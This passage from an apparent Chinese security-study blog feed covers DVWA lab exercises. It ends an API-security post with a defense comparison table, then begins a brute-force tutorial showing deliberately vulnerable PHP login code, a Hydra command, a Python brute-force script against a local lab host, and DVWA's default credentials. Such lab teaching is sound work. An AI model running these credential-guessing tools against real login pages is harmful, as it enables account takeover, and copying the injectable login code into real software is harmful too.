class="variable">$path</span>,</span><br><span class="line">        <span class="string">&#x27;status&#x27;</span> =&gt; <span class="variable">$status</span>,</span><br><span class="line">        <span class="string">&#x27;ip&#x27;</span> =&gt; <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>]</span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">file_put_contents</span>(</span><br><span class="line">        <span class="string">&#x27;/var/log/api_access.log&#x27;</span>,</span><br><span class="line">        <span class="title function_ invoke__">json_encode</span>(<span class="variable">$log</span>) . <span class="string">&quot;\n&quot;</span>,</span><br><span class="line">        FILE_APPEND</span><br><span class="line">    );</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h2 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a>总结对比</h2><table><thead><tr><th>特性</th><th>Low</th><th>Medium</th><th>High</th><th>Impossible</th></tr></thead><tbody><tr><td>认证</td><td>❌ 无</td><td>API密钥</td><td>JWT</td><td>OAuth 2.0</td></tr><tr><td>授权</td><td>❌ 无</td><td>❌ 无</td><td>基于角色</td><td>Scope+角色</td></tr><tr><td>限流</td><td>❌</td><td>简单文件</td><td>❌</td><td>Redis分布式</td></tr><tr><td>SQL注入防护</td><td>❌</td><td>✅ PDO</td><td>✅ PDO</td><td>✅ PDO</td></tr><tr><td>批量赋值防护</td><td>❌</td><td>白名单</td><td>白名单</td><td>严格白名单</td></tr><tr><td>审计日志</td><td>❌</td><td>❌</td><td>❌</td><td>✅ 完善</td></tr><tr><td>敏感信息</td><td>泄露</td><td>部分保护</td><td>保护</td><td>完全保护</td></tr><tr><td>攻击难度</td><td>极易</td><td>简单</td><td>中等</td><td>极难</td></tr></tbody></table><hr><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p><strong>渗透测试清单：</strong></p><ol><li>✅ 发现所有API端点</li><li>✅ 测试无认证访问</li><li>✅ 枚举用户ID</li><li>✅ 测试越权访问</li><li>✅ 测试批量赋值</li><li>✅ 测试SQL注入</li><li>✅ 测试限流</li><li>✅ JWT破解</li></ol><p><strong>防御清单：</strong></p><ol><li>✅ 使用OAuth 2.0</li><li>✅ 实施Scope权限</li><li>✅ 严格授权检查</li><li>✅ 分布式限流</li><li>✅ 输入验证</li><li>✅ 完善审计日志</li><li>✅ API版本管理</li><li>✅ 使用API网关</li></ol><p><strong>道德准则：</strong></p><ul><li>只在授权环境测试</li><li>不攻击真实API</li><li>学习是为了构建安全API</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; title=&quot;目录&quot;&gt;&lt;/a&gt;目录&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B&quot;&gt;漏洞简介&lt;/a&gt;&lt;/li&gt;
&lt;l</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>DVWA - Brute Force (暴力破解) 攻防练习详解</title>
    <link href="http://caixuya.github.io/2025/11/20/Brute_Force_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/"/>
    <id>http://caixuya.github.io/2025/11/20/Brute_Force_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/</id>
    <published>2025-11-20T15:31:37.143Z</published>
    <updated>2025-11-20T15:21:41.293Z</updated>
    
    <content type="html"><![CDATA[<h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">漏洞简介</a></li><li><a href="#low-%E9%9A%BE%E5%BA%A6">Low 难度</a></li><li><a href="#medium-%E9%9A%BE%E5%BA%A6">Medium 难度</a></li><li><a href="#high-%E9%9A%BE%E5%BA%A6">High 难度</a></li><li><a href="#impossible-%E9%9A%BE%E5%BA%A6">Impossible 难度</a></li><li><a href="#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE">防御建议</a></li></ul><hr><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><h3 id="什么是暴力破解（Brute-Force）？"><a href="#什么是暴力破解（Brute-Force）？" class="headerlink" title="什么是暴力破解（Brute Force）？"></a>什么是暴力破解（Brute Force）？</h3><p>暴力破解是一种试错方法，攻击者通过系统地尝试所有可能的密码组合来获取访问权限。</p><p><strong>常见场景：</strong></p><ul><li>登录表单</li><li>管理后台</li><li>API密钥</li><li>加密文件</li></ul><p><strong>危害：</strong></p><ul><li>未授权访问账户</li><li>数据泄露</li><li>权限提升</li><li>系统接管</li></ul><hr><h2 id="Low-难度"><a href="#Low-难度" class="headerlink" title="Low 难度"></a>Low 难度</h2><h3 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>无任何防护的登录表单，可直接暴力破解。</p><h3 id="后端代码分析"><a href="#后端代码分析" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查是否提交了登录请求</span></span><br><span class="line"><span class="comment">// isset() - 检查变量是否已设置且非NULL</span></span><br><span class="line"><span class="comment">// $_GET - 超全局变量，获取URL中的GET参数</span></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;Login&#x27;</span> ] ) ) &#123;</span><br><span class="line">    <span class="comment">// 从URL参数获取用户名</span></span><br><span class="line">    <span class="comment">// 例如：?username=admin&amp;password=test&amp;Login=Login</span></span><br><span class="line">    <span class="variable">$user</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;username&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 从URL参数获取密码并进行MD5哈希</span></span><br><span class="line">    <span class="comment">// md5() - 将字符串转换为32位十六进制MD5哈希值</span></span><br><span class="line">    <span class="comment">// 注意：MD5是单向加密，不可逆</span></span><br><span class="line">    <span class="variable">$pass</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;password&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$pass</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 构建SQL查询语句</span></span><br><span class="line">    <span class="comment">// 这里直接拼接变量到SQL语句中，存在SQL注入漏洞！</span></span><br><span class="line">    <span class="comment">// ` ` - 反引号用于包裹表名和列名（MySQL语法）</span></span><br><span class="line">    <span class="variable">$query</span>  = <span class="string">&quot;SELECT * FROM `users` WHERE user = &#x27;<span class="subst">$user</span>&#x27; AND password = &#x27;<span class="subst">$pass</span>&#x27;;&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 执行SQL查询</span></span><br><span class="line">    <span class="comment">// mysql_query() - 执行MySQL查询（已废弃，不安全）</span></span><br><span class="line">    <span class="comment">// or die() - 如果查询失败则输出错误并终止</span></span><br><span class="line">    <span class="comment">// mysql_error() - 返回上一个MySQL操作的错误信息</span></span><br><span class="line">    <span class="variable">$result</span> = <span class="title function_ invoke__">mysql_query</span>( <span class="variable">$query</span> ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . <span class="title function_ invoke__">mysql_error</span>() . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 检查是否找到匹配的用户</span></span><br><span class="line">    <span class="comment">// mysql_num_rows() - 返回结果集中的行数</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$result</span> &amp;&amp; <span class="title function_ invoke__">mysql_num_rows</span>( <span class="variable">$result</span> ) == <span class="number">1</span> ) &#123;</span><br><span class="line">        <span class="comment">// 登录成功</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">// 获取查询结果的一行数据</span></span><br><span class="line">        <span class="comment">// mysql_fetch_assoc() - 将结果行作为关联数组返回</span></span><br><span class="line">        <span class="variable">$row</span>    = <span class="title function_ invoke__">mysql_fetch_assoc</span>( <span class="variable">$result</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 从数组中获取avatar字段的值</span></span><br><span class="line">        <span class="variable">$avatar</span> = <span class="variable">$row</span>[<span class="string">&quot;avatar&quot;</span>];</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 输出欢迎信息</span></span><br><span class="line">        <span class="comment">// &#123;$user&#125; - 在双引号字符串中插入变量值</span></span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&quot;&lt;p&gt;Welcome to the password protected area <span class="subst">&#123;$user&#125;</span>&lt;/p&gt;&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 输出用户头像</span></span><br><span class="line">        <span class="comment">// &lt;img src=&quot;&quot;&gt; - HTML图片标签</span></span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&quot;&lt;img src=\&quot;<span class="subst">&#123;$avatar&#125;</span>\&quot; /&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// 登录失败</span></span><br><span class="line">        <span class="comment">// &lt;pre&gt; - HTML预格式化文本标签</span></span><br><span class="line">        <span class="comment">// &lt;br /&gt; - HTML换行标签</span></span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;&lt;br /&gt;Username and/or password incorrect.&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 关闭MySQL连接</span></span><br><span class="line">    <span class="title function_ invoke__">mysql_close</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p><strong>存在的安全问题：</strong></p><ol><li><strong>使用GET请求</strong> - 密码明文显示在URL中，会被浏览器历史、代理服务器记录</li><li><strong>无输入验证</strong> - 直接使用用户输入</li><li><strong>SQL注入漏洞</strong> - 直接拼接SQL语句</li><li><strong>无防护机制</strong> - 没有任何限制：<ul><li>无登录尝试次数限制</li><li>无验证码</li><li>无延迟</li><li>无账户锁定</li><li>无IP黑名单</li></ul></li><li><strong>错误信息详细</strong> - SQL错误会直接显示</li></ol><h3 id="攻击步骤"><a href="#攻击步骤" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><h4 id="方法1：使用Burp-Suite-Intruder"><a href="#方法1：使用Burp-Suite-Intruder" class="headerlink" title="方法1：使用Burp Suite Intruder"></a>方法1：使用Burp Suite Intruder</h4><p><strong>步骤1：抓取登录请求</strong></p><ol><li>打开Burp Suite，开启代理</li><li>浏览器访问 <code>http://dvwa.local/dvwa/vulnerabilities/brute/</code></li><li>尝试登录（例如：admin &#x2F; test）</li><li>在Burp Suite的Proxy → HTTP history中找到请求</li></ol><p><strong>步骤2：发送到Intruder</strong></p><ol><li>右键点击请求 → Send to Intruder</li><li>进入Intruder → Positions标签</li></ol><p><strong>步骤3：配置攻击位置</strong></p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/dvwa/vulnerabilities/brute/?username=§admin§&amp;password=§test§&amp;Login=Login</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>dvwa.local</span><br></pre></td></tr></table></figure><ol><li>点击 Clear § 清除所有标记</li><li>Attack type 选择 <code>Cluster bomb</code>（组合攻击）</li><li>标记username和password参数</li></ol><p><strong>步骤4：配置Payload</strong></p><p><strong>Payload set 1（用户名）：</strong></p><figure class="highlight crmsh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">admin</span><br><span class="line">root</span><br><span class="line"><span class="keyword">user</span></span><br><span class="line"><span class="title">test</span></span><br></pre></td></tr></table></figure><p><strong>Payload set 2（密码）：</strong></p><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">password</span></span><br><span class="line"><span class="number">123456</span></span><br><span class="line"><span class="keyword">admin</span></span><br><span class="line"><span class="number">12345678</span></span><br><span class="line">qwerty</span><br><span class="line">abc123</span><br><span class="line">letmein</span><br></pre></td></tr></table></figure><p><strong>步骤5：开始攻击</strong></p><ol><li>点击 Start attack</li><li>观察 Length 列，长度不同的响应通常表示成功</li><li>或使用 Grep-Match 功能匹配 “Welcome to the password protected area”</li></ol><p><strong>步骤6：验证结果</strong></p><p>找到长度异常的请求，右键 → Show response in browser，验证登录成功。</p><h4 id="方法2：使用Hydra命令行工具"><a href="#方法2：使用Hydra命令行工具" class="headerlink" title="方法2：使用Hydra命令行工具"></a>方法2：使用Hydra命令行工具</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 安装hydra（Kali Linux自带）</span></span><br><span class="line">apt-get install hydra</span><br><span class="line"></span><br><span class="line"><span class="comment"># 准备用户名字典</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;admin&quot;</span> &gt; users.txt</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;root&quot;</span> &gt;&gt; users.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 准备密码字典</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;password&quot;</span> &gt; passwords.txt</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;123456&quot;</span> &gt;&gt; passwords.txt</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;admin&quot;</span> &gt;&gt; passwords.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 执行暴力破解</span></span><br><span class="line">hydra -L users.txt -P passwords.txt dvwa.local http-get-form \</span><br><span class="line"><span class="string">&quot;/dvwa/vulnerabilities/brute/:username=^USER^&amp;password=^PASS^&amp;Login=Login:Username and/or password incorrect:H=Cookie: security=low; PHPSESSID=你的session值&quot;</span></span><br></pre></td></tr></table></figure><p><strong>参数说明：</strong></p><ul><li><code>-L users.txt</code> - 用户名字典文件</li><li><code>-P passwords.txt</code> - 密码字典文件</li><li><code>http-get-form</code> - HTTP GET表单</li><li><code>^USER^</code> - 用户名占位符</li><li><code>^PASS^</code> - 密码占位符</li><li><code>:Username and/or password incorrect</code> - 失败标识</li><li><code>H=Cookie</code> - 添加Cookie头</li></ul><h4 id="方法3：Python脚本"><a href="#方法3：Python脚本" class="headerlink" title="方法3：Python脚本"></a>方法3：Python脚本</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line"><span class="comment"># 目标URL</span></span><br><span class="line">url = <span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/brute/&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Cookie（需要先登录DVWA获取）</span></span><br><span class="line">cookies = &#123;</span><br><span class="line">    <span class="string">&#x27;security&#x27;</span>: <span class="string">&#x27;low&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;PHPSESSID&#x27;</span>: <span class="string">&#x27;你的session值&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 用户名列表</span></span><br><span class="line">usernames = [<span class="string">&#x27;admin&#x27;</span>, <span class="string">&#x27;root&#x27;</span>, <span class="string">&#x27;user&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 密码列表</span></span><br><span class="line">passwords = [<span class="string">&#x27;password&#x27;</span>, <span class="string">&#x27;123456&#x27;</span>, <span class="string">&#x27;admin&#x27;</span>, <span class="string">&#x27;letmein&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 遍历所有组合</span></span><br><span class="line"><span class="keyword">for</span> user <span class="keyword">in</span> usernames:</span><br><span class="line">    <span class="keyword">for</span> passwd <span class="keyword">in</span> passwords:</span><br><span class="line">        <span class="comment"># 构建请求参数</span></span><br><span class="line">        params = &#123;</span><br><span class="line">            <span class="string">&#x27;username&#x27;</span>: user,</span><br><span class="line">            <span class="string">&#x27;password&#x27;</span>: passwd,</span><br><span class="line">            <span class="string">&#x27;Login&#x27;</span>: <span class="string">&#x27;Login&#x27;</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 发送请求</span></span><br><span class="line">        response = requests.get(url, params=params, cookies=cookies)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 检查响应</span></span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;Welcome to the password protected area&quot;</span> <span class="keyword">in</span> response.text:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;[+] 成功！用户名: <span class="subst">&#123;user&#125;</span>, 密码: <span class="subst">&#123;passwd&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;[-] 失败: <span class="subst">&#123;user&#125;</span> / <span class="subst">&#123;passwd&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><h3 id="DVWA默认账户"><a href="#DVWA默认账户" class="headerlink" title="DVWA默认账户"></a>DVWA默认账户</h3><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">admin</span> / <span class="keyword">password</span></span><br><span class="line">gordonb / abc123</span><br><span class="line"><span class="number">1337</span> / charley</span><br><span class="line">pablo / letmein</span><br><span class="line">smithy / <span class="keyword">password</span></span><br></pre></td></tr></table></figure><hr><h2 id="Medium-难度"><a href="#Medium-难度" class="headerlink" title="Medium 难度"></a>Medium 难度</h2><h3 id="攻击目标-1"><a href="#攻击目标-1" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>添加了基本防护，但仍可破解。</p><h3 id="后端代码分析-1"><a href="#后端代码分析-1" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查是否提交了登录请求</span></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;Login&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取用户名</span></span><br><span class="line">    <span class="variable">$user</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;username&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取密码并MD5加密</span></span><br><span class="line">    <span class="variable">$pass</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;password&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$pass</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 新增：使用mysqli_real_escape_string转义特殊字符 ★★★</span></span><br><span class="line">    <span class="comment">// mysqli_real_escape_string() - 转义SQL语句中的特殊字符</span></span><br><span class="line">    <span class="comment">// 转义的字符包括：\x00, \n, \r, \, &#x27;, &quot;, \x1a</span></span><br><span class="line">    <span class="comment">// $GLOBALS[&quot;___mysqli_ston&quot;] - 全局数据库连接句柄</span></span><br><span class="line">    <span class="comment">// 作用：防止SQL注入攻击</span></span><br><span class="line">    <span class="comment">// 原理：将单引号&#x27;转义为\&#x27;，使其无法闭合SQL语句</span></span><br><span class="line">    <span class="variable">$user</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))</span><br><span class="line">        ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$user</span> )</span><br><span class="line">        : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line"></span><br><span class="line">    <span class="variable">$pass</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))</span><br><span class="line">        ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$pass</span> )</span><br><span class="line">        : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 构建SQL查询（虽然转义了，但仍是字符串拼接）</span></span><br><span class="line">    <span class="variable">$query</span>  = <span class="string">&quot;SELECT * FROM `users` WHERE user = &#x27;<span class="subst">$user</span>&#x27; AND password = &#x27;<span class="subst">$pass</span>&#x27;;&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 执行查询</span></span><br><span class="line">    <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$query</span> )</span><br><span class="line">        <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . ((<span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))</span><br><span class="line">        ? <span class="title function_ invoke__">mysqli_error</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])</span><br><span class="line">        : ((<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_connect_error</span>()) ? <span class="variable">$___mysqli_res</span> : <span class="literal">false</span>)) . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 检查登录结果</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$result</span> &amp;&amp; <span class="title function_ invoke__">mysqli_num_rows</span>( <span class="variable">$result</span> ) == <span class="number">1</span> ) &#123;</span><br><span class="line">        <span class="comment">// 登录成功</span></span><br><span class="line">        <span class="variable">$row</span>    = <span class="title function_ invoke__">mysqli_fetch_assoc</span>( <span class="variable">$result</span> );</span><br><span class="line">        <span class="variable">$avatar</span> = <span class="variable">$row</span>[<span class="string">&quot;avatar&quot;</span>];</span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&quot;&lt;p&gt;Welcome to the password protected area <span class="subst">&#123;$user&#125;</span>&lt;/p&gt;&quot;</span>;</span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&quot;&lt;img src=\&quot;<span class="subst">&#123;$avatar&#125;</span>\&quot; /&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// ★★★ 核心防护：登录失败后延迟2秒 ★★★</span></span><br><span class="line">        <span class="comment">// sleep(2) - 使PHP脚本暂停执行2秒</span></span><br><span class="line">        <span class="comment">// 作用：减慢暴力破解速度</span></span><br><span class="line">        <span class="comment">// 计算：尝试1000个密码需要2000秒（约33分钟）</span></span><br><span class="line">        <span class="comment">// 缺点：只是延迟，无法真正阻止攻击</span></span><br><span class="line">        <span class="title function_ invoke__">sleep</span>( <span class="number">2</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 输出失败信息</span></span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;&lt;br /&gt;Username and/or password incorrect.&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 关闭数据库连接</span></span><br><span class="line">    ((<span class="title function_ invoke__">is_null</span>(<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_close</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))) ? <span class="literal">false</span> : <span class="variable">$___mysqli_res</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护"><a href="#新增防护" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>mysqli_real_escape_string()</strong> - 防止SQL注入</li><li><strong>sleep(2)</strong> - 每次失败延迟2秒</li></ol><h3 id="仍存在的漏洞"><a href="#仍存在的漏洞" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><ol><li>仍使用GET请求</li><li>无账户锁定</li><li>无验证码</li><li>延迟可预测（固定2秒）</li><li>仍可暴力破解（只是变慢）</li></ol><h3 